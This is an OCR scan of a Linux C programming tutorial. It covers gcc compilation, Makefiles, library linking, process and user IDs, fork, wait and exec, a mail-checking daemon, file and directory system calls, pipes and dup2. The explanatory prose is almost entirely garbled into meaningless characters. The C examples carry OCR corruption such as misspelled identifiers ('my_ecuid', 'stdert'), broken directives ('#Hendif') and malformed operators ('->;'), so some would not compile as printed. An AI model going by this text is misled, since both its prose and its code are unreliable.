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LiREFHIYRiF

i,j: Linux " [HLA1CR 245 35— C il 5 IR BATEA GNU 1 gee 4iPds. N

FATCL AN S R Ul W an T A gee G P as o ARBCIRATTAT 1 17—~ HE 5 o] B 1 VR R
(hello.c):
int main(int argc,char **argv)
{
printf("Hello Linux\n");
}
B PR, AT A A AT T AT
gcc -o hello hello.c

gee ZPEAR LA A AT KA hello (AT AT SCAF AT /hello AT LA 2L 0 % 1
GIRT AT goc RRFATZM gee RAFEIANNEIT, -0 WHERIRIATE K G 4%
BN AT AT U448 hello 17 hello.c J& FRATT IR SC4E

gee G AT VF 2 BT, — SO BEHAT ) LA TE P i) JLAN RS T o -0 IEIIRATT 4 4niE
T AR TR A L R AT BAT SO 44 o o JEIUR R FRAT L SR g e A ) H A A R, i AN 4
T T AT S o - SIS FRATTEE SR G B 25 70 20 16 (1) IS B2 L FRAT T LU R A P A T
HHE .

HIE T IR = AR I FATT AT LA PEERAT] B TS R R KRR e T A0 SRR AR S B
Z HYET, P A gec HIFEBNSCRY, I8 FRAT A VF 220 FL e e TR PR 1d B

2 Makefile B9/ 5

. |
1EX B IR — A ST F

/* main.c */

#include "mytooll.h"
#include "mytool2.h"

int main(int argc,char **argv)
{

mytooll_print("hello");
mytool2_print("hello");

}

/* mytooll.h */

#ifndef _MYTOOIL_1_H
#define _MYTOOL_1_H
void mytooll_print(char *print_str);
#Hendif

/* mytooll.c */
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#include "mytooll.h"
void mytooll_print(char *print_str)
{
printf(""This is mytooll print Yos\n",print_str);
}
/* mytool2.h */
#ifndef _MYTOOL_2_H
#define _MYTOOL_2_H
void mytool2_print(char *print_str);
#endif
/* mytool2.c */
#include "mytool2.h"
void mytool2_print(char *print_str)
{
printf(""This is mytool2 print Yos\n",print_str);
}
AR TR AR AR A AT AT U R i 1%
gce -¢ main.c
gcc -¢ mytooll.c
gcc -¢ mytool2.c
gcc -0 main main.o mytooll.o mytool2.0
AR A TR AT LU main B2 PP, 10 HABASIRHR BRGTAE 2 2 SR FATT5 18— T AR A
—REANESCT A1 — AN SR A mytool ) I FRATTHEE 4 22 F 8 i L T ) i 42
WVFIRS L IXAMRAE G Pl 35— SHELL JIAS, LE it 35 38 25 58 AN T BA T (0
TIRAFE AR UL AT O BT, (R A HE S AR R R R BA TR P 1
JU SIS PRI, Tt 22 5 145 B — > — M L g %2
N HE BT R GUATTAR R T — MR A 1) T BRI A1, X A2 make FRATT L ZEAAT
LLR make, it A) EASE L 1f (14 i i st AE B ATIIAAT make Z B BATESEH S — AR 2
SCAF --Makefile X3 - PR RANFR PR 156, BT BE 1 — A Makefile 302«
# XA BTN Makefile SCAH:
main: main.o mytooll.o mytool2.0
gcc -0 main main.o mytooll.o mytool2.0
main.o: main.c mytooll.h mytool2.h
gce -¢ main.c
mytooll.o: mytooll.c mytooll.h
gcc -¢ mytooll.c
mytool2.0: mytool2.c mytool2.h
gcc -¢ mytool2.c
A1 T3 Makefile SCPFRIEFRA 2 I 01 50 T IARFE 24 R B9 2 S B SUBERAT
make T4, FATIIG AR AL 2 29 BEANBAME i) STPFAT R I SR L8 1 S 4
AR LB
AT 2] Makefile A& QM4 5 (1)
1. Makefile H1 - #FF 4R IAT #B 2 TEREAT Makefile HH b 5 EL S it il SCAF IR OS2 (11 Ui
W — BRI 3
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target: components

TAB rule

B ATRIR IR MO R AT 2 .

e e AT B AR Makefile SCEFIIEE —AT

main: main.o mytooll.o mytool2.0

RARTAT H bR (targetymain [FIHHHIN % (components) & main.o mytooll.o mytool2.0

A RN R AR H B UR B S, B AT U AT BT g K i R A 1 1
TS Makefile 55 = AT Prifi il —FEZEPAT gec -o main main.o mytooll.o mytool2.0
VERF—AT (¥ TAB R A8 L2 —A> TAB

Makefile £ =AM AEH A AL B2 502 3@, 87, $ < AR 2 X700 2 -

$@-- H AR SO 87 -- BT A AR <5 — MK AT

D SR FRA A A b iin = A A A FAT T LA A AT T Makefile ST -

# XS I Makefile

main: main.o mytooll.o mytool2.0

gce -0 $@ $°

main.o: main.c mytooll.h mytool2.h

gcc -c $<

mytooll.o: mytooll.c mytooll.h

gee -c $<

mytool2.0: mytool2.c mytool2.h

gcc -c $<

2oL WA )5 AT Makefile A2 fii 5 T — R AN AT I B AR A — i I BB ATT 27 2
— A Makefile 1) BN

..c.0:

gee -c $<

EA RS FTATI .o SCAFHR & MO AH M. (). SCIFIR 45140 mytool.o HKHT mytool.c
XA Makefile 38 1] LAAE Jy:

#OIXSE T IR E I Makefile

main: main.o mytooll.o mytool2.0

gce -0 $@ $°

..C.O:

gee -¢c $<

U 7 AT Makefile BZEAZ T W RARKNIE B2 (1995 T Makefile NPT LA AH Y 1)
BECP

3 A2 BRIk
s I
-l'it it T I

/* temp.c */

#include <math.h>;

int main(int argc,char **argv)
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{

double value;

printf("Value: %f\n",value);

}

EANFEFAH T8 A2 M BRATH gee -0 temp temp.c GBI 2 I TH BT 7S RIS %

/tmp/cc33Kydu.o:  In function ‘main':
/tmp/cc33Kydu.o(.text+0xe):  undefined reference to ‘log'
collect2: 1d returned 1 exit status

I IXAN BRI R A G PE RS AN E log HO LRSI BEARFRATTELAE 17 IRl ¥ Sk S0 (2
TATTAE G PR (0 I A% 340 2 B 52 A R AE Linux N, T8 FH 502 R B0 FR AT T 00 RN B2 R i
FEMIRATE AN Am LI, gce -o temp temp.c -lm IXFEA GEME 1T 141 AL VA NEE A,
BT BATH prinef B H) I 6 A BAT JEFL R W 2 S A 1,00 T 289 T 1) R B0 S gee
GniEds oy 0B LIER SR P XA TRA T B L B DR RE 1. A MR IRAT I/ g PR
JE PR I 245 5 2 1) B AR JX A I AT B ] B B3 1) -1 IR o R A, B it 3RAT I
—ANFEAE /home/hoyt/mylib N IXFE AT G B 1 B R n L —L/horne/hoyt/mylibﬂﬂtﬂ;ﬁg
e A U, A T AT 0 i H A LA AR A P R A T vl BA T R e Ay
fRI#R 4% /lib /ust/lib /ust/local/lib AEIX =ANE&AR 1 10 A 2 B ATT T AANTR € B 42

AT > 1) AT A AT A P 17 REAS B 0 2 FRATTAN S JE 1) 42 7 3K A I 76 4 73
Wt PAR AR 0T T 3K A i) e e A AN T 25 58, TV — MBI e FR bR AE PR AR T L4k
B A BT IR R B SC 1 2, X RE 4K B T 2 (thread) bR 281 %2 SCAF (libpthread.a).
LR A S G AT IR sin XARETAERE. $UF am o

EAEF)—4T libm-2.1.2.50: 00009fa0 W sin IXFFFRBLHITE T sin 7F libm-2.1.2.s0 FE R, KM -Im

BEIGUE AT LA T (A5 9 Lib AN T ARRAS R &S8R N m TRTELZ -m). B RANE S 4
AL PR 7 VR B A 1. 1 i

432 FFRYIAIR

$
& 190 5 RIRE P AN KT BE— IRPE RS D I AE BAT I RE P 24 v 2 I BLVRF 2 2 3K

ATTARAS B R 5 TS I BAT T 20 BATT A R PP A T K 1

I H AT R A gdb i RARARE B F 1 IR 7, 8 A AR BILAE T LI xxgdb.id
FHEAEG IR - I IE T odb I AT LU gdb AOFEBISCIE. i 3B X
ANFRAE T AT AN GERS L T . AN FRA B gdb BRER— NP2 AR F 15
FR SO AE R 24 v i L v TA) AR AR IR e 0. A SRR 7T A £ H I, e
WERER NN BHEA T2 IDE M8 Hil oge A o 7 lles 7R BLE S LR
—I R A CE R — .

5. K X HFA R G K Y
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FEASAS S SCAEHEAT T U 3K AN INHsE B AT T 7] LASK B R 45

Pt U BATTARANIE fread XA BRI DITE S, BRATHZEHAT man fread RGURSHIHAE
BRI B30 VR A0 PR TR AT A R ESIT 78 1R Sk SO <stdioh>; W] T, A R FRAT 2L write XN BR)
U, M BATTHAT man write I 57 HH 45 SR EIAS R A TIT TR ZE . A BRA TR w
rite IXAN BRI T, AT 2 H R I B write XA IOUE W] T 4381 write (1) 50 8015 W]
BATEH man 2 write. 2 FRRBATH I write X bR U RGBSR — A%
2 3 RN R EUE C IR R AL

WA A% man #5 52 AT B LB T

T XX AL T A5 T IX RN IRAT 5t o] PLE S AL Linux R C FEF
N RCETII
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1. FHRERIHES

];muﬁﬁ%%%@ﬁ%%F%Eﬁ*ﬁ@ﬂuﬁﬁ%%Fﬁﬁﬁ%%ﬁ&%ﬁﬁ

L MABAERGIE S A LI T A E? AR BRI 35 11 28 e B I AT R e At
IS At ARy A a2 Re e A PRSP — AN 5w DLBAT AR i S0 A
SISO T BERE A — AN TR AT (H R B A G A R P 1R St 2 W] AT 3
PEIRARSEDL. — DMREFF AT REA VF 2 HERE, U AE— N RERE ST AT VR 2 1 HERE MR A
AT IR, MR R G T BN AE LS R SR A TR I R I B (N
A7 B SESE) IR IR AT — RPN I R 2R A AR e A2 R A R S0 R T AE R G L i
ARIBREATET N T SN A R RS DR T —A IDER IR
SR EME . 7 782 B T B0, R GEib R ERR X 70 T AN RPIR A K 2R 20
i 24T BHIE B AN e B LANIRES. B i R R AR IEAE R A Js AT R R IR AR IS 4T B
R RREIEAETF R D FF R A R RS RGUEAESER; CPU RAAT fir 2, M0 S8 R
R LR T RGIEARMWCEHE. & TR ARSI R AT LR (1R
ge) LT R -

2. HIERIFRE

.—tl@ﬁﬂﬂﬁTﬁﬁﬂﬁ%ﬁmﬂZ&WEZ%ﬁﬁﬁ%Hw@%%ﬁ%g@wﬂ

LATSRIHERE K 1D, getppid FJ AFT 2 SQHERE (61 1 1 1% ol BRcdb A R 26 ) 1) 1D,
#include <unistd>;

pid_t getpid(void);

pid_t getppid(void);

BEREIE A RE PP IS5 (R, IR 2 0 1 5 (0. R G 8 T SR EIERE (TP 44,34 D BERE AN
P S SIS AS F P R HERE (K B A8 AR S R A — AN P A — AN IDJE R R 48
W getuid W] LAA3 BIRERE (K BITAT 4 ¥ 1D, T 2EFE EEH] 21— LE BT I Linux X R GRS
SR b T REL 5 MR AT IDSKA 1D PR SEH e AL 5%
K FERERIRR. 83 RG] geteuid FATAT LA BIREREAIA AT/ 1D, M 1D
AR REHEREE AT — AL 1D RIAT3AL ID RGETI I gergid Al geregid 1T EAGT 13 2141 1D R
41D

#include <unistd>;

#include <sys/types.h>;

uid_t getuid(void);

uid_t geteuid(void);

gid_t getgid(void);

git_t getegid(void);

A7 I FRAT T3 208 I 0 A B HR (6 s 44 4545, XN I AT TRT LA T getpwi
d RAFH.
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struct passwd {

char *pw_name; /* SRR */
char *pw_passwd; /* x4 */
uid_t pw_uid; /* H 1D */

gid_t pw_gid; /* P41 1D */

char *pw_gecos; /* I JHA4 */
char *pw_dir; /* H IR H S */
char *pw_shell; /* F 1 SHELL */
5

#include <pwd.h>;

#include <sys/types.h>;

struct passwd *getpwuid(uid_t uid);

N HFRATEE 2] AN SBIRSE R EFRATTTE 2 LA RR L

#include <unistd.h>;

#include <pwd.h>;

#include <sys/types.h>;

#include <stdio.h>;

int main(int argc,char **argv)

{

pid_t my_pid,parent_pid;

uid_t my_uid,my_euid,;

gid_t my_gid,my_egid;

struct passwd *my_info;
my_pid=getpid();
parent_pid=getppid();

my_uid=getuid();

my_ecuid=geteuid();

my_gid=getgid();

my_egid=getegid();
my_info=getpwuid(my_uid);
printf("Process ID:  %ld\n",my_pid);
printf("Parent ID:  %ld\n",parent_pid);
printf("User ID:  %Ild\n",my_uid);
printf("Effective User ID: %ld\n",my_euid);
printf("Group ID: %ld\n",my_gid);
printf("Effective Group ID: %ld\n",my_egid):
if(my_info)

{

printf("My Login Name: %s\n" ,my_info->;pw_name);

printf("My Password : %s\n" ,my_info->;pw_passwd);

printf("My User ID : %ld\n",my_info->;pw_uid);

printf("My Group ID : %ld\n",my_info->;pw_gid);
printf("My Real Name: %s\n" ,my_info->;pw_gecos);
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printf("My Home Dir : %s\n", my_info->;pw_dir);
printf("My Work Shell: %s\n", my_info->;pw_shell);
}

}

3. HIERYEIE

ﬁIJ AN ERE A ZR e P AR o AT ZER T fork PRI LA T

#include <unistd.h>;

pid_t fork();

B AR T fork LS RGOS TRER XA T HEREFISCHERE A [F) i 3 75
AR ID FIAQHERE IDHAR IR AR 2 — FF R R AT HERE b0 B (clone) H 0 FE 4R B
PRAS R —FE (R R AT T SRR T X 43 AQHE RN~ R, BRAT T ZBUIR B fork 1R[]
{B. 24 fork i ] JRICHR) IR A5 (P9 A7 AN A2 05 2 P P 1R B KR 2 3 Fork 3R [M]-1, 75 U £
ork [RJAR [FIAE A F B A ) T AQHERE fork 3R P11~ HERE 1) 1D, % T fork FHEREIR A 0.3%,
ATV AR IX AR [BUE K X 53 A7 REREIR. SCRERE R AT 4 BT e R e i T B 1 4
YLRL T Linux j&— A2 P EAE RS AL R — B RS H V2 0 P ES 25 RG0SR A I
BEREA T R e AT S QI 7 BERER <5 SRR, — HL iR B S 7~ HERE — ke A
fork ALARSEAAT A0 H. 554 R 48 I DU AT I FRAT 17 B 3R 4k S AT M AR AR RHL 26
B 7R 58 AT 55 XA I B AT AT LAY H wait 50 waitpid R8I .

#include <sys/types.h>;

#include <sys/wait.h>;

pid_t wait(int *stat_loc);

pid_t waitpid(pid_t pid,int *stat_loc,int options);

wait FRGEIH 2 A A HERE P 28 B 31— A 7 HERE G5 Rl 2 QR 2 31 T —AME 5 i

B SR R AR ) iR D 45 T wait [RINZEP IR [A] e D] (8 — ANk

FE 45 A wait KR (0] HERE 1) 1D, 75 IR [F]-1, 5 1 E 42 R AR & errno.stat_loc A& T REFEM

B AR PR T exit,_exit BUHSE return R EIXME. A T 138X ME Linux &

T U AR I AN R [P

WIFEXITED: b FREFER AR AE 0

WEXITSTATUS: Wit RE (18 HE CY 7R E HEFEE 0).

WIFSIGNALED: F#EFE H1 T B8O SRAF A5 S5 MR .

WTERMSIG: T HEFEE A R 15 55 (7 WIFSIGNALED b FLH A7 & X).

waitpid ZEAFHRE 1) T3 RE L B uE R R [H] a2 pid Ay TEAE USSR 48 (1 12 R (pid). Tt 2

0 JEEAFAT AT — A2 1D A I B 20 1D AH A R ERE. R -1 45 7] T wait 3 LN -1 4%
R —AN4L 1D 25T pid 480HE BEFE. stat_loc F wait [117 X —FF. options 7] LA¥k &

R BEFE IR A AT LU AN WNOHANG = A 8EF2 37 RIUIR ] 24 % 5 1 0k 2 A7 45 )
WUNTACHE

D: 4 FRERE LRI waitpid 3 [ (H 2 5~ HERE IR HURES A AT £33,
SCHEREGNEE T HERR T, T RERE R HAT AR R A T R G e 3 1) LU ] &=
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G exec T H.exec A HE 5 N R%L.
#include <unistd.h>;

int execl(const char *path,const char *arg,...);

int execlp(const char *file,const char *arg,...);

int execle(const char *path,const char *arg,...);

int execv(const char *path,char *const argv]]);

int execvp(const char *file,char *const argv(]):

exec IR I T LARAT4 E REF7. 55T exec WU TR PR 8 1T L2225 R G T (man exec
0. AR A 2] AN S R PR AR NI -l DU R Ko o K2
#include <unistd.h>;

#include <sys/types.h>;

#include <sys/wait.h>;

#include <stdio.h>;

#include <errno.h>;

#include <math.h>;

void main(void)

{

pid_t child;

int status;

printf(""This will demostrate how to get child status\n");
if((child=fork())==-1)

{

printf("Fork Error : %s\n"strerror(errno));

exit(1);

}

else if(child==0)

{

inti;

printf("T am the child: %ld\n",getpid());
for(i=0;1<1000000;i++) sin(i);

i=5;

printf("I exit with %d\n",i);

exit(i);

}
while(((child=wait(&status))==-1)&(ertno==EINTR));
if(child==-1)

printf("Wait Error: %s\n" strerror(errno));

else if(Istatus)

printf("Child %ld terminated normally return status is zero\n",
child);

else if(WIFEXITED status))

printf("Child %ld terminated normally return status is %d\n",
child, WEXITSTATUS(status));

else if(WIFSIGNALED (status))
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printf("Child %ld terminated due to signal %d znot caught\n",
child, WTERMSIG(status));

}

strerror BRI AR [ — A 2 0 68 52 0 B8 505 A 75 .

4. STHRHIERIEIE

ﬁn RARAE DOS ARG Gl R e I AR BVFEIIESE DOS I T 45 — M EENAF

P 1 B 5 2 DA T MR WERTE Linux NS — /NN A" R P HLE RS0,
BATHEUATARS T LU A. S2Fr b i T Linux J& ZAT 5 3E R 40 A 10— A G 5 A0S
WA LS — PRI G & L AT FRA VA a2 J5 RN L& 5 SHELL St 3 AT
RPN G 6 LI8ATH. IRBEIATIR " —A G B R A AR e XA F A — A

S8 PR ST TF) (] 2 A 2 AT FR) ISR, Gt SRR I FRAT TAT WA 17, 2 AN W PR 8 (G e LA ) 7N )

WA A HH ). TR XA B 5 I A I i Rl A

JE BB EIE AR RN A TR ARG T RERE R AL SR G AN AR T
2. A5 5 AL F T R LA B R R AL B

#include <unistd.h>;

#include <sys/types.h>;

#include <sys/stat.h>;

#include <stdio.h>;

#include <errno.h>;

#include <fcntl.h>;

#include <signal.h>;

/* Linux [ERAEAN NIIBFE R /var/spool/mail/ 7 [R5k 44 */

#define MAIL " /var/spool/mail/hoyt"

/% HEAR 10 BB Bh */

#define SLEEP_TIME 10

main(void)

{

pid_t child;

if((child=fork())==-1)

{

printf("Fork Error: %s\n" strerror(errno));
exit(1);

b

else if(child>;0)

while(1);

if(kill(getppid(),SIGTERM)==-1)

{

printf("Kill Parent Error: %s\n" strerror(errno));

exit(1);

[15 of 104]



| Linux BfE R4 C S gifiAl]]

}

{

int mailfd;

while(1)

{

if((mailfd=open(MAIL,O_RDONLY))!=-1)

{

fprintf(stdert,"%s","\007");

close(mailfd);

b

sleep(SLEEP_TIME);

}

}

H

PRAT AZEBRN A2 T QU AR A IISHT SO AE 285 B — N IR R X AR P IE A 1R
2 1 7 L IR FRAT ] 1 20 IXAN /INFE R 50 1), R R 5 iR ) L2 el
1 Lol B g e A (1 i A FH BRI BN [A) 2555 AR 11 OO nT DUSCRI (9. 30 T 35 B
RIS

GF T BRI N A TRA T BX T R N R SV 2 R R
7 RERE AU — A BRI B MR DL REAC K
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1. XHBEZEMES

$
&ﬁ%&% LeHNIE TR AEGLI SCAT AR K PR B (fopen, fread, fwrite S545). 9%

WIERARANE FE UG A B S FRA TR 1 RGN SO A S B IR A bR UE L SO A
JIR 25 ).

PRA T BT A SO AT 525 B A (R s fige, B AT T o] LA T 3R 48 1 H 2R £ open. AT 52
FCCA G BT 53 48— close eREGIAT O FHERAE.

#include <fcntl.h>;

#include <unistd.h>;

#include <sys/types.h>;

#include <sys/stat.h>;

int open(const char *pathname,int flags);

int open(const char *pathname,int flags,mode_t mode);

int close(int fd);

open BREA ML L pathname /& FATTEFT T A SCAEAL (B3 AR A FR, AR 2 N AE
T ERAR T ). flags W LA T IR —AMEL B A LAME 4115

O_RDONLY: U B 77 30T IF 30 AF.

O_WRONLY: LAHUE )7 sCHTIF3CF.

O_RDWR:  PAE 5 )5 AT I 3CAF

O_APPEND:  LI3E N5 4TI+ 3CF.

O_CREAT: @I —A3CfF.

O_EXEC: WRAEH T O_CREAT iff HICF QA7 A8 Bl o KA — k.

O_NOBLOCK: LAAEBHZEN) 5 AT TF A3

O_TRUNC: WIRICAF L A7AE, M R ST A 2.

i = b s AR — A WERAEH] T O_CREATE bras A FATEALH] open 26
A ZEE mode KRt RS SCH IV FIBLR . mode J LA A M & SL 4L

S_IRUSR H/ ALz S TWUSR H /' AfLLE
S_IXUSR H /Al LAFHAT S_IRWXU FH /2 il LA S AT

S_IRGRP LA S_IWGRP ZHA]LL'E
S_IXGRP 0 LIFHAT S_IRWXG 4] LA 'S AT

S_IROTH HABAF LA S_IWOTH HAB AW LS
S_IXOTH HAth A A LLFAT S_IRWXO HAth A v] LU S AT

S_ISUID % B HUT ID S_ISGID ¥ B 41 [#AT 1D

TR T AT DL B AR 2 &AM bR 2 Linux S L 5 ANk 8 R S0 1 & R R
00000. 55— R~ e B H P IDSE A Ron i B 4L 1D A — AL R s 7 H S IBRA, 56 DY
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7 7R AL IR, B e — (R Fe Al A RIS RR.
BEANECTATRUC 1 AT AR, 25 BB, 4 (EEALBR), 0(H A B A7) 8 23X LAME A

ECInFRA T ZE B — A 35 AT A A B, HA A B AT R SCPE BB 7 1D A4
FRATTRT LAAE I B 1 (BB P ID)0(ZH B AT T ) 7(1+ 2+ 4)0 (B A AR, A 54
5(1+4)RF 10705:

open("temp",O_CREAT,10705);

WRIRA T IF AT el open 23R [0 — AN SCHFRR T FATT B X SCEF ) A7 #4E f T A
XA AR T A THRAE T

PRATHRAE S UG FRATTEOC I SO T B close vl LT Herp £d 2 FRAT TG 1A
SR AT

SCAEFT I T RS BT D R S4T30 T FRATT AT LUV F B 2K read A write BEAT SCAFIH)
5.

#include <unistd.h>;

ssize_t read(int fd, void *buffer,size_t count);

ssize_t write(int fd, const void *buffer,size_t count);

£ JEFRATEHEAT 525 B A (0 SO A AT buffer R FRATTEE S A SCHE P 28 B2 H ST A 2511
WA HUIE . count 2 AT 1225 1) 15 4L

X T ) SCA read AR IE I SCAF (£d) FHEEEX count 549 3] buffer 240 X i Al AE AT
I Bt — AN M K ZE b [X), [ I IR [F] count.

U read B3 T OCAF I SE REGE B ME TR W IR PIE 25N T count AR HIAF 5
W7 5 [ R T LA IR [P read 25 3R RI-1, AR errno ) EINTR.SFR/ P13 T 304
25 R [ I read 23R [H] 0.

wtite M\ buffer 115 count 775 ) A £d BT IR B SE R BT 5 #7155

N TETRRATT A 2] AN S XA A R P VLSO

#include <unistd.h>;

#include <fcntl.h>;

#include <stdio.h>;

#include <sys/types.h>;

#include <sys/stat.h>;

#include <errno.h>;

#include <stringh>;

#define BUFFER_SIZE 1024

int main(int argc,char **argv)

{

int from_fd to_fd;

int bytes_read,bytes_write;

char butfer[BUFFER_SIZE];

char *ptr;

if(argc!=3)

{

fprintf(stdert,"Usage: %os fromfile tofile\n\a",argv[0]);

exit(1);

H
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/* ATTRWESCAT: +/
if((from_fd=open(argv[1],O_RDONLY))==-1)

{

fprintf(stdert,"Open %s Error: %s\n",argv[1],strerror(errno));
exit(1);

}

/* B H S +/
if((to_fd=open(argv[2],O_WRONLY | O_CREAT,S_IRUSR | S_IWUSR))==-1)
{

fprintf(stdett,"Open %s Error: %s\n",argv[2] strerror(errno));
exit(1);

}

/% LU AR — A2 S 5 DS AR =/
while(bytes_read=read(from_fd,buffer, BUFFER_SIZE))
{

/* AR AT */
if((bytes_read==-1)&&(errno!=EINTR)) break;

else if(bytes_read>;0)

{

ptr=buffer;
while(bytes_write=write(to_fd,ptr,bytes_read))

{

/x —AEERRAE T </
if((bytes_write==-1)&&(errno!=EINTR))break;

/* B5E T BT </

else if(bytes_write==bytes_read) break;

/e ST M R 2/

else if(bytes_write>;0)

{

ptr+=Dbytes_write;

bytes_read-=bytes_write;

}

}

/* BRI A A A BT R */
if(bytes_write==-1)break;

}

H
close(from_fd);

close(to_fd);
exit(0);
}
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2. XHRIBFTEMNE

LY
I PR B AISAE I J L R 1 FRATT L1 B 038 0 SO AR S A G s I 1)

NN TR
7 I FRAT T W7 S A 2 75 0T AREAT HE A (13,5 S 55 X AN B AT TRl LAS ) acce
ss PR

#include <unistd.h>;

int access(const char *pathname,int mode);

pathname: & LA AR mode A2 FRATTEEHI B (1) Jg M. ] LB AR SR A AT i 445
R_OK AT L W_OK SCAF AT AE X_OK SCAFA] BLHAT F_OK SCAFA7AE. 4 AT I 2l
i)

(R HGR [R] 0,75 ) A SRAT — S AEANRF IR 3R ],

U SR FRAT T BERAT A (0 A o 1 AT T PT A R K seat B ftat,

#include <sys/stat.h>;

#include <unistd.h>;

int stat(const char *file_name,struct stat *buf);

int fstat(int filedes,struct stat *buf);

struct stat {

dev_tst_dev; /* & */

ino_t st_ino; /* I A */

mode_t st_mode; /* I */

nlink_t st_nlink; /* AR +/

uid_t st_uid; /* H /7 ID */

gid_t st_gid; /* 70 1D */

dev_t st_rdev; /* B IM */

off tst_off; /* MAFFTEL */

unsigned long st_blksize; /* He kN */

unsigned long st_blocks; /* HH +/

time_t st_atime; /* ¢ Jiq — KV i) i) */

time_t st_mtime; /* B )5 — RGBT E] */

time_t st_ctime; /* H¢ )i — IR [0 (75 J@ 1) */

IE

stat HISKHIWT AT $T FF IR SO, T fstar HISRAIWTET T S BATME T e 22 O S 1R 2 se_
mode. ML & PEFRATT AT DAFIWT 45 5 1) SCAF R — N SO 2 — A H s 4545 AT L
A8 IR T LA 2R F .

S_ISLNK(st_mode): 75 & —MEHES_ISREG J& 15 & — /N . S_ISDIR J& 75 & —H
K S_ISCHR J& 75—/ 747 4 S_ISBLK & 172 — M4 S_ISFIFO &2 77 /&> FIFO
B

#F.S_ISSOCK J& 752 A SOCKET 3. AT SAE N IHI U I W) s I LA 1.
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3. HRCARYIRME

.j:. TAVG G R I, A7 I s ZA R RA T 0T 10 TAR RS, C PERREER ML T get

cwd FRAFLRIXA 7] 1
#include <unistd.h>;

char *getcwd(char *buffer,size_t size);

BAHRAE—A size KNI buffer,getewd SHEIRAT Y 1T K127 2 buffer . UWIE buffer
R/ R 5 IR )1 F— AN RS

Linux St 7RI F S ff A o0 250, 3R 1257 0 JLAS HE A g SR ) B

#include <dirent.h>;

#include <unistd.h>;

#include <fcntl.h>;

#include <sys/types.h>;

#include <sys/stat.h>;

int mkdir(const char *path,mode_t mode);

DIR *opendir(const char *path);

struct dirent *readdir(DIR *dir);

void rewinddir(DIR *dir);

off_t telldir(DIR *dir);

void seekdir(DIR *dir,off_t off);

int closedir(DIR *dir);

struct dirent {

long d_ino;

off_td_off;

unsigned short d_reclen;

char d_name[NAME_MAX+1]; /* X4 FR *

mkdir R 75 50w AT A —AN H 3% opendir T F—AN H 38k UG B0 % readdir 32—
AT IFI H 5% rewinddir 7 F R EL L H sk I FIFRATT ) rewind BREL—FF.closedir A& 2K ]
—NH . telldir F seekdir L free F fseek PREL.

N HFAVF R AP XA — DM S AR S H L A SO A AT X
AN SRR/ IN A g Je A8 T PR IR 1), G R — A H e AT T H XA H 3 B SO IR/
(LGN

#include <unistd.h>;

#include <stdio.h>;

#include <errno.h>;

#include <sys/types.h>;

#include <sys/stat.h>;

#include <dirent.h>;

#include <time.h>;

static int get_file_size_time(const char *filename)
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{

struct stat statbuf;
if(stat(filename,&statbuf)==-1)

{

printf("Get stat on %s Error: %s\n",
filename,strerror(errno));

return(-1);

}

if(S_ISDIR (statbuf.st_mode))return(1);
if(S_ISREG(statbuf.st_mode))

printf("%s size: %ld bytes\tmodified at %os",

filename,statbuf.st_size,ctime(&statbuf.st_mtime));

return(0);

}

int main(int argc,char **argv)

{

DIR *dirp;

struct dirent *direntp;

int stats;

if(argc!=2)

{

printf("Usage: %s filename\n\a",argv[0]);
exit(1);

}
if(((stats=get_file_size_time(argv[1]))==0)| | (stats==-1))exit(1);
if((dirp=opendir(argv[1]))==NULL)

{

printf("Open Directory %s Error: %s\n",
argv|1],strerror(errno));

exit(1);

}

while((direntp=readdir(dirp))!=NULL)
if(get_file_size_time(direntp-<d_name)==-1)break;
closedir(dirp);

exit(1);

H
4. BiEXH

Linux PN T VR L B AN T E 1) B2 7, LE I more cat

SEAEIRIRPL T < > | <<SESFHDE RRAEAT AR XL JEANE SE R AR R A 2 T
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X FFAF IR SO R G pipe W RAGIEE —AMEE.

#include<unistd.h>;

int pipe(int fildes|2]);

pipe AR LAGI G — AN T8 GEAR 220 1X). 24 U HT s Dy INF FRAT TR LA [ SCAFREIR AT fild
es[0],fildes[1]. HH fildes[0]/2 F KB I SCAF IR AT, I fildes[1]/2 RS B SCHEA
AT

FESE BT th FAT R G i — A TR ARG — RS, — DN ERE B AT T ).
KT HEREBAF VR4S D05 A A HEREE S
#include <stdio.h>;

#include <stdlib.h>;

#include <unistd.h>;

#include <stringh>;

#include <errno.h>;

#include <sys/types.h>;

#include <sys/wait.h>;

#define BUFFER 255

int main(int argc,char **argv)

{

char buffer[BUFFER+1];

int £d[2];

if(argc!=2)

{

fprintf(stdert,"Usage: %os string\n\a",argv[0]);
exit(1);

H

if(pipe(fd)!=0)

{

fprintf(stdert,"Pipe Error: %s\n\a"strerror(errno));
exit(1);

H

if(fork()==0)

{

close(td[0]);

printf("Child[%d] Write to pipe\n\a",getpid());
snprintf(buffer, BUFFER,"%s" argv[1]);
write(fd[1],buffer,strlen(buffer));

printf("Child[%d] Quit\n\a",getpid());

exit(0);

}

else

{

close(fd[1]);

printf("Parent[%d] Read from pipe\n\a",getpid());
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memset(buffer,"\0',BUFFER+1);

read(fd[0],buffer, BUFFER);

printf("Parent[%d] Read: %s\n",getpid(),buffer);

exit(1);

}

}

N T SEBLEE A, AT 7 B ] 53— B dup2.

#include <unistd.h>;

int dup2(int oldfd,int newfd);
dup2 #3 1] oldfd SCAFHIEST KA newtd SCAFHIIAAT, R S newfd SCPFIA AT, gl A2 i

FITAT 1] newfd $RAF RS oldfd F il R i AT 5% 50— AN XA 7R bk i 4 55 1)
A

#include <unistd.h>;

#include <stdio.h>;

#include <errno.h>;

#include <fcntl.h>;

#include <stringh>;

#include <sys/types.h>;

#include <sys/stat.h>;

#define BUFFER_SIZE 1024

int main(int argc,char **argv)

{

int fd;

char buffer[BUFFER_SIZE];

if(argc!=2)

{

fprintf(stdert,"Usage: %s outfilename\n\a",argv[0]);

exit(1);

H

if((fd=open(argv[1],0_WRONLY | O_CREAT | O_TRUNC,S_IRUSR |S_IWUSR))==-1)
{

fprintf(stdert,"Open %s Error: %s\n\a",argv[1],strerror(errno));
exit(1);

H

if(dup2(td,STDOUT_FILENO)==-1)

{

fprintf(stdert,"Redirect Standard Out Error: %s\n\a"strerror(errno));
exit(1);

}

fprintf(stdett,"Now,please input string™);

fprintf(stdert," (To quit use CTRL+D)\n");

while(1)
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{
fgets(buffer, BUFFER_SIZE stdin);

if(feof(stdin))break;

write(STDOUT_FILENO,buffer,strlen(buffer));

}

exit(0);

}

U 1 30 B AT I SR SR 22 S i TSP BATTIE S T LS
S P AT FIRE R T BAT AT LA S — AN SEELGI A dir,mikdir,ep,mv 55455 O SO A1
7.

BARA DS LA —le?
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1.0 B R

i REFY 4 A28 S 2R 48 2 T AR I ) LE I B AT T date i
(1 H 5 RIS I AT RT A 1 A4 b £

#include <time.h>;

